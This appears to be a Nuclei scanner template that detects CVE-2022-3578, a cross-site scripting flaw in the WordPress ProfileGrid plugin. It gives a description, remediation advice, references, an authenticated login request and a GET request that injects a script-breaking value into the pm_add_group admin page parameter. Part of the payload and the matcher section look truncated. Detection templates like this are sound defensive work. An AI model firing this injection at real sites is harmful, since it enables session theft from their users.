id: CVE-2022-3578 info: name: WordPress ProfileGrid <5.1.1 - Cross-Site Scripting author: theamanrawat severity: medium description: | WordPress ProfileGrid plugin prior to 5.1.1 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update WordPress ProfileGrid to version 5.1.1 or later to mitigate the XSS vulnerability. reference: - https://wpscan.com/vulnerability/17596b0e-ff45-4d0c-8e57-a31101e30345 - https://wordpress.org/plugins/profilegrid-user-profiles-groups-and-communities/ - https://nvd.nist.gov/vuln/detail/CVE-2022-3578 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-3578 cwe-id: CWE-79 epss-score: 0.00078 epss-percentile: 0.32972 cpe: cpe:2.3:a:metagauss:profilegrid:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 2 vendor: metagauss product: profilegrid framework: wordpress tags: wp-plugin,wordpress,wpscan,cve,wp,xss,profilegrid,authenticated,cve2022 http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=pm_add_group&id=">&tab")' condition: and # digest: 4a0a0047304502201287fc923275cd163444924a1a3a848cb322c4adee7a767300e6072f04445aad0221009fc07d9e73a720355f9d5cecc2a6d28dfdabc6dcdc8765d1e207c55888f8be5b:922c64590222798bb761d5b6d8e72950